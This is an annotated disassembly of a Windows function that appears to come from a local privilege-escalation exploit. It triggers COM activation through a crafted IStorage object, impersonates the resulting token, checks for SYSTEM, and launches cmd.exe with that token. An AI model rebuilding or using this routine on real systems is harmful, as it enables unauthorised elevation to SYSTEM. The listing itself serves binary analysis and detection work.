Function at 0x140002720
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create thread
Impersonate user
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x590]
sub rsp, 0x690
mov rax, qword [0x140029018]
xor rax, rsp
mov qword [rbp + 0x580], rax
mov ecx, 0x30
call fcn.1400049e8
mov rsi, rax
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov qword [rax + 0x18], 0xffffffffffffffff
mov qword [rax + 0x20], 0xffffffffffffffff
mov qword [rax + 0x28], 0xffffffffffffffff
mov ecx, 0xc0
call fcn.1400049e8
mov rdi, rax
mov qword [rbp - 0x80], rax
xor edx, edx
mov r8d, 0xc0
mov rcx, rax
call fcn.140006e40
xor edx, edx
mov r8d, 0xc0
mov rcx, rdi
call fcn.140006e40
mov edx, 2
mov rcx, rdi
call fcn.1400043c0
nop
lea rbx, [rdi + 0x50]
mov qword [rbp + 0x30], rbx
xor r14d, r14d
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], r14
mov qword [rbx + 0x20], r14
lea ecx, [r14 + 0x10]
call fcn.1400049e8
mov qword [rax + 8], r14
mov qword [rbx], rax
mov qword [rax], rbx
lea rcx, [rdi + 0x78]
call fcn.140004488
nop
mov qword [rsi], rdi
mov ecx, 0xc0
call fcn.1400049e8
mov rdi, rax
mov qword [rbp - 0x80], rax
xor edx, edx
mov r8d, 0xc0
mov rcx, rax
call fcn.140006e40
xor edx, edx
mov r8d, 0xc0
mov rcx, rdi
call fcn.140006e40
lea edx, [r14 + 2]
mov rcx, rdi
call fcn.1400043c0
nop
lea rbx, [rdi + 0x50]
mov qword [rbp + 0x30], rbx
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], r14
mov qword [rbx + 0x20], r14
lea ecx, [r14 + 0x10]
call fcn.1400049e8
mov qword [rax + 8], r14
mov qword [rbx], rax
mov qword [rax], rbx
lea rcx, [rdi + 0x78]
call fcn.140004488
nop
mov qword [rsi + 8], rdi
mov dword [0x14002b140], r14d
lea ecx, [r14 + 0x60]
call fcn.1400049e8
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
mov dword [rax + 8], 0xffffffff
mov qword [rsi + 0x10], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
mov r9, rsi
lea r8, [0x1400017e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x14002b158], r14d
jne 0x140002907
mov r8, qword [0x14002b170]
mov rdx, qword [0x14002b178]
lea rcx, str.___Testing_clsid:__S_lport:__S_n
call fcn.140001590
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
mov r9, rsi
lea r8, [0x1400017f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x78], r14
lea r8, [rsp + 0x78]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateILockBytesOnHGlobal]
lea r9, [rsp + 0x68]
xor r8d, r8d
mov edx, 0x1012
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ole32.dll_StgCreateDocfileOnILockBytes]
mov ecx, 0x20
call fcn.1400049e8
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
mov rcx, qword [rsp + 0x68]
lea rdx, vtable.IStorageTrigger.1.0
mov qword [rax], rdx
lea rbx, [rax + 8]
lea rdx, vtable.IStorageTrigger.0
mov qword [rbx], rdx
mov qword [rax + 0x10], rcx
mov dword [rax + 0x18], 1
lea rdx, [rbp + 0x38]
mov rcx, qword [0x14002b178]
call qword [sym.imp.ole32.dll_CLSIDFromString]
lea rdx, [rbp + 0x48]
lea rcx, str.00000000_0000_0000_C000_000000000046
call qword [sym.imp.ole32.dll_CLSIDFromString]
lea rax, [rbp + 0x48]
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], r14
mov dword [rbp + 0x70], r14d
lea rax, [rbp + 0x60]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rbx
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp + 0x38]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
mov ecx, 1
call fcn.14000aa34
mov rcx, rax
call fcn.14000d5c8
lea r12, [0x14002b148]
lea r13, str.winsta0default
lea r15, str.C:WindowsSystem32cmd.exe
nop dword [rax + rax]
mov rax, qword [rsi + 0x10]
mov edx, dword [rax + 8]
cmp edx, 0xffffffff
je 0x140002a30
cmp dword [0x14002b158], 0
jne 0x140002a51
lea rcx, str._n___authresult__d_n
call fcn.140001590
mov ecx, 1
call fcn.14000aa34
mov rcx, rax
call fcn.14000d5c8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x60]
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400030e2
mov rbx, qword [rbp - 0x60]
lea r8, [rbp + 0x58]
lea rdx, str.SeImpersonatePrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140002aa7
lea rcx, str.____Priv_Lookup_FALSE_n
jmp 0x140002ae7
mov dword [rbp + 0x38], 1
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x3c], rax
mov dword [rbp + 0x44], 2
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x38]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140002aec
lea rcx, str.Priv_Adjust_FALSE_n
call fcn.140001590
mov rbx, qword [rbp - 0x60]
lea r8, [rbp + 0x30]
lea rdx, str.SeAssignPrimaryTokenPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140002b10
lea rcx, str.____Priv_Lookup_FALSE_n
jmp 0x140002b50
mov dword [rbp + 0x48], 1
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x4c], rax
mov dword [rbp + 0x54], 2
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x48]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140002b55
lea rcx, str.Priv_Adjust_FALSE_n
call fcn.140001590
mov dword [rbp + 0x28], r14d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x20]
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsi + 0x10]
lea rdx, [0x14002b150]
mov rcx, qword [rcx]
call qword [sym.imp.Secur32.dll_QuerySecurityContextToken]
mov rdi, qword [0x14002b150]
mov dword [rsp + 0x60], r14d
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x140002c8c
mov ecx, eax
call fcn.14000a90c
mov rbx, rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x60]
mov r8, rbx
mov edx, 1
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, qword [rbx]
call qword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov ecx, eax
mov dword [rsp + 0x60], ecx
call fcn.14000a90c
mov rdi, rax
mov r8, qword [rbx]
mov rdx, rax
mov ecx, dword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_CopySid]
mov dword [rsp + 0x68], 0x3f
mov dword [rbp + 0x2c], 0x3f
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x2c]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x300]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x68]
lea r8, [rbp + 0x80]
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupAccountSidW]
mov rcx, rdi
call fcn.14000a8f8
lea r9, [rbp + 0x80]
lea r8, [rbp + 0x300]
mov rdx, qword [0x14002b178]
lea rcx, str.___clsid:__S_n___DomainUserName:__S_S_n
call fcn.140001590
lea rdx, str.SYSTEM
lea rcx, [rbp + 0x80]
call fcn.14000d0c4
cmp dword [0x14002b158], 0
jne 0x1400030db
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp - 0x80]
lea edx, [r9 + 4]
mov rcx, qword [0x14002b150]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
cmp dword [rbp + 0x28], 0
jne 0x140002cd7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_getting_token_type:_error_code_0x_lx_n
call fcn.140001590
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0xf01ff
mov rcx, qword [0x14002b150]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov edi, eax
lea rax, [rbp + 0x28]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp - 0x80]
lea edx, [r9 + 4]
mov rcx, qword [0x14002b148]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
cmp dword [rbp + 0x28], 0
jne 0x140002d3f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_getting_token_type:_error_code_0x_lx_n
call fcn.140001590
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
mov dword [rbp + 0x14], eax
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x60], xmm1
mov qword [rbp + 0x70], rax
mov dword [rbp - 0x50], 0x68
mov r9d, 0x400
lea r8, [rbp + 0x60]
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, str.___CreatePipe_success_n
test eax, eax
lea rax, str.___CreatePipe_failed_n
cmove rcx, rax
call fcn.140001590
mov rax, qword [rsp + 0x70]
mov qword [rbp + 0x10], rax
mov qword [rbp + 8], rax
mov qword [rbp - 0x40], r13
mov word [rbp - 0x10], r14w
mov dword [rbp + 0x60], 0x18
mov qword [rbp + 0x68], r14
mov dword [rbp + 0x70], 1
mov dword [rbp - 0x14], 0x101
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
movabs rax, 0x200063002f
mov qword [rbp + 0x380], rax
xor edx, edx
mov r8d, 0x1f8
lea rcx, [rbp + 0x388]
call fcn.140006e40
mov r8, qword [0x14002b128]
mov rax, r8
lea rdx, [rbp + 0x100]
sub rdx, r8
nop dword [rax]
movzx ecx, word [rax]
mov word [rdx + rax], cx
lea rax, [rax + 2]
test cx, cx
jne 0x140002e20
cmp qword [0x14002b130], 0
je 0x140002ed7
lea rdx, [0x140025480]
lea rcx, [rbp + 0x100]
cmp r8, r15
mov r8d, 1
je 0x140002e7d
call fcn.14000cfa0
mov rdx, qword [0x14002b130]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x140002e70
jmp 0x140002ecb
call fcn.14000cfa0
lea rax, [rbp + 0x380]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140002e90
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x100]
call fcn.14000cfa0
mov rdx, qword [0x14002b130]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x140002ec0
lea rcx, [rbp + 0x100]
call fcn.14000cfa0
lea rdx, [rbp + 0x100]
lea rcx, str.___Command:__S_n
call fcn.140001590
mov rax, qword [0x14002b138]
movzx ecx, word [rax]
cmp cx, 0x74
je 0x140002f04
cmp cx, 0x2a
jne 0x140002f98
lea rcx, str.___CreateProcess_call_:__t__CreateProcessWithTokenW_n
call fcn.140001590
lea rax, [rbp - 0x78]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x8000000
lea r9, [rbp + 0x100]
mov r8, qword [0x14002b128]
xor edx, edx
mov rcx, qword [0x14002b148]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
mov edi, eax
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r9, qword [rbp - 0x58]
lea r8, [0x140002650]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test edi, edi
jne 0x14000308e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____CreateProcessWithTokenW_Failed_to_create_proc:__d_n
call fcn.140001590
mov rax, qword [0x14002b138]
movzx ecx, word [rax]
cmp cx, 0x75
je 0x140002fdd
cmp cx, 0x2a
je 0x140002fdd
test edi, edi
je 0x1400030d7
lea rcx, str.___Waiting_for_auth...
call fcn.140001590
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call fcn.14000aa34
mov rcx, rax
call fcn.14000d5c8
jmp 0x140002a30
lea rcx, str.___CreateProcess_call_:__u__CreateProcessAsUser_n
call fcn.140001590
lea rax, [rbp - 0x78]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rax
lea rax, [0x1400255c0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp + 0x100]
mov rdx, qword [0x14002b128]
mov rcx, qword [0x14002b148]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov edi, eax
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
mov r9, qword [rbp - 0x58]
lea r8, [0x140002650]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test edi, edi
jne 0x140003079
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____CreateProcessAsUser_Failed_to_create_proc:__d_n
call fcn.140001590
mov eax, edi
jmp 0x1400030e4
lea rcx, str._n___CreateProcessAsUser_success_n
call fcn.140001590
lea rcx, str.___Process_with_pid:__d_created._n_n_n
jmp 0x1400030a1
lea rcx, str._n___CreateProcessWithTokenW_success_n
call fcn.140001590
lea rcx, [0x140025540]
mov edx, dword [rbp - 0x68]
call fcn.140001590
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
jmp 0x1400030e4
mov eax, 1
jmp 0x1400030e4
xor eax, eax
mov rcx, qword [rbp + 0x580]
xor rcx, rsp
call fcn.140004700
lea r11, [rsp + 0x690]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret